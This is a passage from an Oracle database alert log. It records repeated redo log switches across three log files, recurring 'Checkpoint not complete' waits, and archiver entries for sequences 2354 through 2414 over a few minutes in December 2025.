/u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:12:15.692709+08:00 ARC0 (PID:1861): Archived Log entry 2350 added for T-1.S-2354 ID 0x75f9c04b LAD:1 2025-12-27T23:12:15.727900+08:00 Thread 1 cannot allocate new log, sequence 2356 Checkpoint not complete Current log# 1 seq# 2355 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:12:18.784791+08:00 Thread 1 advanced to log sequence 2356 (LGWR switch) Current log# 2 seq# 2356 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:18.833817+08:00 ARC1 (PID:1867): Archived Log entry 2351 added for T-1.S-2355 ID 0x75f9c04b LAD:1 2025-12-27T23:12:18.874231+08:00 Thread 1 cannot allocate new log, sequence 2357 Checkpoint not complete Current log# 2 seq# 2356 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:21.943769+08:00 Thread 1 advanced to log sequence 2357 (LGWR switch) Current log# 3 seq# 2357 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:12:21.990189+08:00 ARC2 (PID:1869): Archived Log entry 2352 added for T-1.S-2356 ID 0x75f9c04b LAD:1 2025-12-27T23:12:22.036041+08:00 Thread 1 cannot allocate new log, sequence 2358 Checkpoint not complete Current log# 3 seq# 2357 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:12:25.009386+08:00 Thread 1 advanced to log sequence 2358 (LGWR switch) Current log# 1 seq# 2358 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:12:25.046066+08:00 ARC3 (PID:1871): Archived Log entry 2353 added for T-1.S-2357 ID 0x75f9c04b LAD:1 2025-12-27T23:12:25.093141+08:00 Thread 1 cannot allocate new log, sequence 2359 Checkpoint not complete Current log# 1 seq# 2358 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:12:28.162739+08:00 Thread 1 advanced to log sequence 2359 (LGWR switch) Current log# 2 seq# 2359 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:28.204195+08:00 ARC0 (PID:1861): Archived Log entry 2354 added for T-1.S-2358 ID 0x75f9c04b LAD:1 2025-12-27T23:12:28.264060+08:00 Thread 1 cannot allocate new log, sequence 2360 Checkpoint not complete Current log# 2 seq# 2359 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:31.319741+08:00 Thread 1 advanced to log sequence 2360 (LGWR switch) Current log# 3 seq# 2360 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:12:31.369794+08:00 ARC1 (PID:1867): Archived Log entry 2355 added for T-1.S-2359 ID 0x75f9c04b LAD:1 2025-12-27T23:12:31.410136+08:00 Thread 1 cannot allocate new log, sequence 2361 Checkpoint not complete Current log# 3 seq# 2360 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:12:34.458479+08:00 Thread 1 advanced to log sequence 2361 (LGWR switch) Current log# 1 seq# 2361 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:12:34.503087+08:00 ARC2 (PID:1869): Archived Log entry 2356 added for T-1.S-2360 ID 0x75f9c04b LAD:1 2025-12-27T23:12:34.547328+08:00 Thread 1 cannot allocate new log, sequence 2362 Checkpoint not complete Current log# 1 seq# 2361 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:12:37.572374+08:00 Thread 1 advanced to log sequence 2362 (LGWR switch) Current log# 2 seq# 2362 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:37.621824+08:00 ARC3 (PID:1871): Archived Log entry 2357 added for T-1.S-2361 ID 0x75f9c04b LAD:1 2025-12-27T23:12:37.672139+08:00 Thread 1 cannot allocate new log, sequence 2363 Checkpoint not complete Current log# 2 seq# 2362 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:40.648157+08:00 Thread 1 advanced to log sequence 2363 (LGWR switch) Current log# 3 seq# 2363 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:12:40.695526+08:00 ARC0 (PID:1861): Archived Log entry 2358 added for T-1.S-2362 ID 0x75f9c04b LAD:1 2025-12-27T23:12:40.735185+08:00 Thread 1 cannot allocate new log, sequence 2364 Checkpoint not complete Current log# 3 seq# 2363 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:12:43.732201+08:00 Thread 1 advanced to log sequence 2364 (LGWR switch) Current log# 1 seq# 2364 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:12:43.775919+08:00 ARC1 (PID:1867): Archived Log entry 2359 added for T-1.S-2363 ID 0x75f9c04b LAD:1 2025-12-27T23:12:43.822644+08:00 Thread 1 cannot allocate new log, sequence 2365 Checkpoint not complete Current log# 1 seq# 2364 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:12:46.889084+08:00 Thread 1 advanced to log sequence 2365 (LGWR switch) Current log# 2 seq# 2365 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:46.933913+08:00 ARC2 (PID:1869): Archived Log entry 2360 added for T-1.S-2364 ID 0x75f9c04b LAD:1 2025-12-27T23:12:46.990540+08:00 Thread 1 cannot allocate new log, sequence 2366 Checkpoint not complete Current log# 2 seq# 2365 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:49.994722+08:00 Thread 1 advanced to log sequence 2366 (LGWR switch) Current log# 3 seq# 2366 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:12:50.050226+08:00 ARC3 (PID:1871): Archived Log entry 2361 added for T-1.S-2365 ID 0x75f9c04b LAD:1 2025-12-27T23:12:50.088111+08:00 Thread 1 cannot allocate new log, sequence 2367 Checkpoint not complete Current log# 3 seq# 2366 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:12:53.042765+08:00 Thread 1 advanced to log sequence 2367 (LGWR switch) Current log# 1 seq# 2367 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:12:53.091150+08:00 ARC0 (PID:1861): Archived Log entry 2362 added for T-1.S-2366 ID 0x75f9c04b LAD:1 2025-12-27T23:12:53.132912+08:00 Thread 1 cannot allocate new log, sequence 2368 Checkpoint not complete Current log# 1 seq# 2367 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:12:56.140320+08:00 Thread 1 advanced to log sequence 2368 (LGWR switch) Current log# 2 seq# 2368 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:56.189523+08:00 ARC1 (PID:1867): Archived Log entry 2363 added for T-1.S-2367 ID 0x75f9c04b LAD:1 2025-12-27T23:12:56.227513+08:00 Thread 1 cannot allocate new log, sequence 2369 Checkpoint not complete Current log# 2 seq# 2368 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:12:59.210925+08:00 Thread 1 advanced to log sequence 2369 (LGWR switch) Current log# 3 seq# 2369 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:12:59.260017+08:00 ARC2 (PID:1869): Archived Log entry 2364 added for T-1.S-2368 ID 0x75f9c04b LAD:1 2025-12-27T23:12:59.302627+08:00 Thread 1 cannot allocate new log, sequence 2370 Checkpoint not complete Current log# 3 seq# 2369 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:13:02.330748+08:00 Thread 1 advanced to log sequence 2370 (LGWR switch) Current log# 1 seq# 2370 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:13:02.372209+08:00 ARC3 (PID:1871): Archived Log entry 2365 added for T-1.S-2369 ID 0x75f9c04b LAD:1 2025-12-27T23:13:02.420482+08:00 Thread 1 cannot allocate new log, sequence 2371 Checkpoint not complete Current log# 1 seq# 2370 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:13:05.491854+08:00 Thread 1 advanced to log sequence 2371 (LGWR switch) Current log# 2 seq# 2371 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:13:05.543238+08:00 ARC0 (PID:1861): Archived Log entry 2366 added for T-1.S-2370 ID 0x75f9c04b LAD:1 2025-12-27T23:13:05.580722+08:00 Thread 1 cannot allocate new log, sequence 2372 Checkpoint not complete Current log# 2 seq# 2371 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:13:08.639445+08:00 Thread 1 advanced to log sequence 2372 (LGWR switch) Current log# 3 seq# 2372 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:13:08.684526+08:00 ARC1 (PID:1867): Archived Log entry 2367 added for T-1.S-2371 ID 0x75f9c04b LAD:1 2025-12-27T23:13:08.736344+08:00 Thread 1 cannot allocate new log, sequence 2373 Checkpoint not complete Current log# 3 seq# 2372 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:13:11.772535+08:00 Thread 1 advanced to log sequence 2373 (LGWR switch) Current log# 1 seq# 2373 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:13:11.825200+08:00 ARC2 (PID:1869): Archived Log entry 2368 added for T-1.S-2372 ID 0x75f9c04b LAD:1 2025-12-27T23:13:11.870944+08:00 Thread 1 cannot allocate new log, sequence 2374 Checkpoint not complete Current log# 1 seq# 2373 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:13:14.857195+08:00 Thread 1 advanced to log sequence 2374 (LGWR switch) Current log# 2 seq# 2374 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:13:14.901853+08:00 ARC3 (PID:1871): Archived Log entry 2369 added for T-1.S-2373 ID 0x75f9c04b LAD:1 2025-12-27T23:13:14.941888+08:00 Thread 1 cannot allocate new log, sequence 2375 Checkpoint not complete Current log# 2 seq# 2374 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:13:18.006408+08:00 Thread 1 advanced to log sequence 2375 (LGWR switch) Current log# 3 seq# 2375 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:13:18.046073+08:00 ARC0 (PID:1861): Archived Log entry 2370 added for T-1.S-2374 ID 0x75f9c04b LAD:1 2025-12-27T23:13:18.086925+08:00 Thread 1 cannot allocate new log, sequence 2376 Checkpoint not complete Current log# 3 seq# 2375 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:13:21.075050+08:00 Thread 1 advanced to log sequence 2376 (LGWR switch) Current log# 1 seq# 2376 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:13:21.117032+08:00 ARC1 (PID:1867): Archived Log entry 2371 added for T-1.S-2375 ID 0x75f9c04b LAD:1 2025-12-27T23:13:21.160528+08:00 Thread 1 cannot allocate new log, sequence 2377 Checkpoint not complete Current log# 1 seq# 2376 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:13:24.167952+08:00 Thread 1 advanced to log sequence 2377 (LGWR switch) Current log# 2 seq# 2377 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:13:24.221872+08:00 ARC2 (PID:1869): Archived Log entry 2372 added for T-1.S-2376 ID 0x75f9c04b LAD:1 2025-12-27T23:13:24.265011+08:00 Thread 1 cannot allocate new log, sequence 2378 Checkpoint not complete Current log# 2 seq# 2377 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:13:27.298246+08:00 Thread 1 advanced to log sequence 2378 (LGWR switch) Current log# 3 seq# 2378 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:13:27.339788+08:00 ARC3 (PID:1871): Archived Log entry 2373 added for T-1.S-2377 ID 0x75f9c04b LAD:1 2025-12-27T23:13:27.374036+08:00 Thread 1 cannot allocate new log, sequence 2379 Checkpoint not complete Current log# 3 seq# 2378 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:13:30.376776+08:00 Thread 1 advanced to log sequence 2379 (LGWR switch) Current log# 1 seq# 2379 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:13:30.423852+08:00 ARC0 (PID:1861): Archived Log entry 2374 added for T-1.S-2378 ID 0x75f9c04b LAD:1 2025-12-27T23:13:30.460617+08:00 Thread 1 cannot allocate new log, sequence 2380 Checkpoint not complete Current log# 1 seq# 2379 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:13:33.496351+08:00 Thread 1 advanced to log sequence 2380 (LGWR switch) Current log# 2 seq# 2380 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:13:33.543425+08:00 ARC1 (PID:1867): Archived Log entry 2375 added for T-1.S-2379 ID 0x75f9c04b LAD:1 2025-12-27T23:13:33.588060+08:00 Thread 1 cannot allocate new log, sequence 2381 Checkpoint not complete Current log# 2 seq# 2380 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:13:36.571622+08:00 Thread 1 advanced to log sequence 2381 (LGWR switch) Current log# 3 seq# 2381 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:13:36.621238+08:00 ARC2 (PID:1869): Archived Log entry 2376 added for T-1.S-2380 ID 0x75f9c04b LAD:1 2025-12-27T23:13:36.655665+08:00 Thread 1 cannot allocate new log, sequence 2382 Checkpoint not complete Current log# 3 seq# 2381 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:13:39.715177+08:00 Thread 1 advanced to log sequence 2382 (LGWR switch) Current log# 1 seq# 2382 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:13:39.757751+08:00 ARC3 (PID:1871): Archived Log entry 2377 added for T-1.S-2381 ID 0x75f9c04b LAD:1 2025-12-27T23:13:39.821327+08:00 Thread 1 cannot allocate new log, sequence 2383 Checkpoint not complete Current log# 1 seq# 2382 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:13:42.775927+08:00 Thread 1 advanced to log sequence 2383 (LGWR switch) Current log# 2 seq# 2383 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:13:42.828656+08:00 ARC0 (PID:1861): Archived Log entry 2378 added for T-1.S-2382 ID 0x75f9c04b LAD:1 2025-12-27T23:13:42.866621+08:00 Thread 1 cannot allocate new log, sequence 2384 Checkpoint not complete Current log# 2 seq# 2383 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:13:45.948778+08:00 Thread 1 advanced to log sequence 2384 (LGWR switch) Current log# 3 seq# 2384 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:13:45.992905+08:00 ARC1 (PID:1867): Archived Log entry 2379 added for T-1.S-2383 ID 0x75f9c04b LAD:1 2025-12-27T23:13:46.034116+08:00 Thread 1 cannot allocate new log, sequence 2385 Checkpoint not complete Current log# 3 seq# 2384 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:13:49.103145+08:00 Thread 1 advanced to log sequence 2385 (LGWR switch) Current log# 1 seq# 2385 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:13:49.151034+08:00 ARC2 (PID:1869): Archived Log entry 2380 added for T-1.S-2384 ID 0x75f9c04b LAD:1 2025-12-27T23:13:49.188756+08:00 Thread 1 cannot allocate new log, sequence 2386 Checkpoint not complete Current log# 1 seq# 2385 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:13:52.237354+08:00 Thread 1 advanced to log sequence 2386 (LGWR switch) Current log# 2 seq# 2386 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:13:52.283807+08:00 ARC3 (PID:1871): Archived Log entry 2381 added for T-1.S-2385 ID 0x75f9c04b LAD:1 2025-12-27T23:13:52.328639+08:00 Thread 1 cannot allocate new log, sequence 2387 Checkpoint not complete Current log# 2 seq# 2386 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:13:55.246513+08:00 Thread 1 advanced to log sequence 2387 (LGWR switch) Current log# 3 seq# 2387 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:13:55.291858+08:00 ARC0 (PID:1861): Archived Log entry 2382 added for T-1.S-2386 ID 0x75f9c04b LAD:1 2025-12-27T23:13:55.329097+08:00 Thread 1 cannot allocate new log, sequence 2388 Checkpoint not complete Current log# 3 seq# 2387 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:13:58.404316+08:00 Thread 1 advanced to log sequence 2388 (LGWR switch) Current log# 1 seq# 2388 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:13:58.460781+08:00 ARC1 (PID:1867): Archived Log entry 2383 added for T-1.S-2387 ID 0x75f9c04b LAD:1 2025-12-27T23:13:58.491304+08:00 Thread 1 cannot allocate new log, sequence 2389 Checkpoint not complete Current log# 1 seq# 2388 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:14:01.502796+08:00 Thread 1 advanced to log sequence 2389 (LGWR switch) Current log# 2 seq# 2389 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:14:01.549034+08:00 ARC2 (PID:1869): Archived Log entry 2384 added for T-1.S-2388 ID 0x75f9c04b LAD:1 2025-12-27T23:14:01.588295+08:00 Thread 1 cannot allocate new log, sequence 2390 Checkpoint not complete Current log# 2 seq# 2389 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:14:04.621403+08:00 Thread 1 advanced to log sequence 2390 (LGWR switch) Current log# 3 seq# 2390 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:14:04.665908+08:00 ARC3 (PID:1871): Archived Log entry 2385 added for T-1.S-2389 ID 0x75f9c04b LAD:1 2025-12-27T23:14:04.707505+08:00 Thread 1 cannot allocate new log, sequence 2391 Checkpoint not complete Current log# 3 seq# 2390 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:14:07.719314+08:00 Thread 1 advanced to log sequence 2391 (LGWR switch) Current log# 1 seq# 2391 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:14:07.769545+08:00 ARC0 (PID:1861): Archived Log entry 2386 added for T-1.S-2390 ID 0x75f9c04b LAD:1 2025-12-27T23:14:07.812905+08:00 Thread 1 cannot allocate new log, sequence 2392 Checkpoint not complete Current log# 1 seq# 2391 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:14:10.812611+08:00 Thread 1 advanced to log sequence 2392 (LGWR switch) Current log# 2 seq# 2392 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:14:10.853350+08:00 ARC1 (PID:1867): Archived Log entry 2387 added for T-1.S-2391 ID 0x75f9c04b LAD:1 2025-12-27T23:14:10.896032+08:00 Thread 1 cannot allocate new log, sequence 2393 Checkpoint not complete Current log# 2 seq# 2392 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:14:13.941241+08:00 Thread 1 advanced to log sequence 2393 (LGWR switch) Current log# 3 seq# 2393 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:14:13.991465+08:00 ARC2 (PID:1869): Archived Log entry 2388 added for T-1.S-2392 ID 0x75f9c04b LAD:1 2025-12-27T23:14:14.034570+08:00 Thread 1 cannot allocate new log, sequence 2394 Checkpoint not complete Current log# 3 seq# 2393 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:14:17.053417+08:00 Thread 1 advanced to log sequence 2394 (LGWR switch) Current log# 1 seq# 2394 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:14:17.102705+08:00 ARC3 (PID:1871): Archived Log entry 2389 added for T-1.S-2393 ID 0x75f9c04b LAD:1 2025-12-27T23:14:17.140271+08:00 Thread 1 cannot allocate new log, sequence 2395 Checkpoint not complete Current log# 1 seq# 2394 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:14:20.149315+08:00 Thread 1 advanced to log sequence 2395 (LGWR switch) Current log# 2 seq# 2395 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:14:20.200425+08:00 ARC0 (PID:1861): Archived Log entry 2390 added for T-1.S-2394 ID 0x75f9c04b LAD:1 2025-12-27T23:14:20.310990+08:00 Thread 1 cannot allocate new log, sequence 2396 Checkpoint not complete Current log# 2 seq# 2395 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:14:23.233501+08:00 Thread 1 advanced to log sequence 2396 (LGWR switch) Current log# 3 seq# 2396 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:14:23.276399+08:00 ARC1 (PID:1867): Archived Log entry 2391 added for T-1.S-2395 ID 0x75f9c04b LAD:1 2025-12-27T23:14:23.311972+08:00 Thread 1 cannot allocate new log, sequence 2397 Checkpoint not complete Current log# 3 seq# 2396 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:14:26.254047+08:00 Thread 1 advanced to log sequence 2397 (LGWR switch) Current log# 1 seq# 2397 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:14:26.278629+08:00 ARC2 (PID:1869): Archived Log entry 2392 added for T-1.S-2396 ID 0x75f9c04b LAD:1 2025-12-27T23:14:26.318674+08:00 Thread 1 cannot allocate new log, sequence 2398 Checkpoint not complete Current log# 1 seq# 2397 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:14:29.396252+08:00 Thread 1 advanced to log sequence 2398 (LGWR switch) Current log# 2 seq# 2398 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:14:29.449446+08:00 ARC3 (PID:1871): Archived Log entry 2393 added for T-1.S-2397 ID 0x75f9c04b LAD:1 2025-12-27T23:14:29.482340+08:00 Thread 1 cannot allocate new log, sequence 2399 Checkpoint not complete Current log# 2 seq# 2398 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:14:32.500864+08:00 Thread 1 advanced to log sequence 2399 (LGWR switch) Current log# 3 seq# 2399 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:14:32.544118+08:00 ARC0 (PID:1861): Archived Log entry 2394 added for T-1.S-2398 ID 0x75f9c04b LAD:1 2025-12-27T23:14:32.587812+08:00 Thread 1 cannot allocate new log, sequence 2400 Checkpoint not complete Current log# 3 seq# 2399 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:14:35.573757+08:00 Thread 1 advanced to log sequence 2400 (LGWR switch) Current log# 1 seq# 2400 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:14:35.624611+08:00 ARC1 (PID:1867): Archived Log entry 2395 added for T-1.S-2399 ID 0x75f9c04b LAD:1 2025-12-27T23:14:35.667305+08:00 Thread 1 cannot allocate new log, sequence 2401 Checkpoint not complete Current log# 1 seq# 2400 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:14:38.699460+08:00 Thread 1 advanced to log sequence 2401 (LGWR switch) Current log# 2 seq# 2401 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:14:38.759762+08:00 ARC2 (PID:1869): Archived Log entry 2396 added for T-1.S-2400 ID 0x75f9c04b LAD:1 2025-12-27T23:14:38.794296+08:00 Thread 1 cannot allocate new log, sequence 2402 Checkpoint not complete Current log# 2 seq# 2401 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:14:41.875299+08:00 Thread 1 advanced to log sequence 2402 (LGWR switch) Current log# 3 seq# 2402 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:14:41.921784+08:00 ARC3 (PID:1871): Archived Log entry 2397 added for T-1.S-2401 ID 0x75f9c04b LAD:1 2025-12-27T23:14:41.960054+08:00 Thread 1 cannot allocate new log, sequence 2403 Checkpoint not complete Current log# 3 seq# 2402 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:14:44.950914+08:00 Thread 1 advanced to log sequence 2403 (LGWR switch) Current log# 1 seq# 2403 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:14:44.996447+08:00 ARC0 (PID:1861): Archived Log entry 2398 added for T-1.S-2402 ID 0x75f9c04b LAD:1 2025-12-27T23:14:45.037723+08:00 Thread 1 cannot allocate new log, sequence 2404 Checkpoint not complete Current log# 1 seq# 2403 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:14:48.084406+08:00 Thread 1 advanced to log sequence 2404 (LGWR switch) Current log# 2 seq# 2404 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:14:48.132261+08:00 ARC1 (PID:1867): Archived Log entry 2399 added for T-1.S-2403 ID 0x75f9c04b LAD:1 2025-12-27T23:14:48.192211+08:00 Thread 1 cannot allocate new log, sequence 2405 Checkpoint not complete Current log# 2 seq# 2404 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:14:51.183362+08:00 Thread 1 advanced to log sequence 2405 (LGWR switch) Current log# 3 seq# 2405 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:14:51.240730+08:00 ARC2 (PID:1869): Archived Log entry 2400 added for T-1.S-2404 ID 0x75f9c04b LAD:1 2025-12-27T23:14:51.276463+08:00 Thread 1 cannot allocate new log, sequence 2406 Checkpoint not complete Current log# 3 seq# 2405 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:14:54.309195+08:00 Thread 1 advanced to log sequence 2406 (LGWR switch) Current log# 1 seq# 2406 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:14:54.362619+08:00 ARC3 (PID:1871): Archived Log entry 2401 added for T-1.S-2405 ID 0x75f9c04b LAD:1 2025-12-27T23:14:54.397159+08:00 Thread 1 cannot allocate new log, sequence 2407 Checkpoint not complete Current log# 1 seq# 2406 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:14:57.435587+08:00 Thread 1 advanced to log sequence 2407 (LGWR switch) Current log# 2 seq# 2407 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:14:57.473067+08:00 ARC0 (PID:1861): Archived Log entry 2402 added for T-1.S-2406 ID 0x75f9c04b LAD:1 2025-12-27T23:14:57.515416+08:00 Thread 1 cannot allocate new log, sequence 2408 Checkpoint not complete Current log# 2 seq# 2407 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:15:00.547664+08:00 Thread 1 advanced to log sequence 2408 (LGWR switch) Current log# 3 seq# 2408 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:15:00.591489+08:00 ARC1 (PID:1867): Archived Log entry 2403 added for T-1.S-2407 ID 0x75f9c04b LAD:1 2025-12-27T23:15:00.629046+08:00 Thread 1 cannot allocate new log, sequence 2409 Checkpoint not complete Current log# 3 seq# 2408 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:15:03.610880+08:00 Thread 1 advanced to log sequence 2409 (LGWR switch) Current log# 1 seq# 2409 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:15:03.653521+08:00 ARC2 (PID:1869): Archived Log entry 2404 added for T-1.S-2408 ID 0x75f9c04b LAD:1 2025-12-27T23:15:03.708761+08:00 Thread 1 cannot allocate new log, sequence 2410 Checkpoint not complete Current log# 1 seq# 2409 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:15:06.749265+08:00 Thread 1 advanced to log sequence 2410 (LGWR switch) Current log# 2 seq# 2410 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:15:06.792379+08:00 ARC3 (PID:1871): Archived Log entry 2405 added for T-1.S-2409 ID 0x75f9c04b LAD:1 2025-12-27T23:15:06.830469+08:00 Thread 1 cannot allocate new log, sequence 2411 Checkpoint not complete Current log# 2 seq# 2410 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:15:09.854722+08:00 Thread 1 advanced to log sequence 2411 (LGWR switch) Current log# 3 seq# 2411 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:15:09.899788+08:00 ARC0 (PID:1861): Archived Log entry 2406 added for T-1.S-2410 ID 0x75f9c04b LAD:1 2025-12-27T23:15:09.937996+08:00 Thread 1 cannot allocate new log, sequence 2412 Checkpoint not complete Current log# 3 seq# 2411 mem# 0: /u01/app/oracle/oradata/DB/redo03.log 2025-12-27T23:15:12.977033+08:00 Thread 1 advanced to log sequence 2412 (LGWR switch) Current log# 1 seq# 2412 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:15:13.020015+08:00 ARC1 (PID:1867): Archived Log entry 2407 added for T-1.S-2411 ID 0x75f9c04b LAD:1 2025-12-27T23:15:13.063775+08:00 Thread 1 cannot allocate new log, sequence 2413 Checkpoint not complete Current log# 1 seq# 2412 mem# 0: /u01/app/oracle/oradata/DB/redo01.log 2025-12-27T23:15:16.163200+08:00 Thread 1 advanced to log sequence 2413 (LGWR switch) Current log# 2 seq# 2413 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:15:16.206818+08:00 ARC2 (PID:1869): Archived Log entry 2408 added for T-1.S-2412 ID 0x75f9c04b LAD:1 2025-12-27T23:15:16.252727+08:00 Thread 1 cannot allocate new log, sequence 2414 Checkpoint not complete Current log# 2 seq# 2413 mem# 0: /u01/app/oracle/oradata/DB/redo02.log 2025-12-27T23:15:19.269845+08:00 Thread 1 advanced to log sequence 2414 (LGWR switch) Current log# 3 seq# 2414 mem# 0: 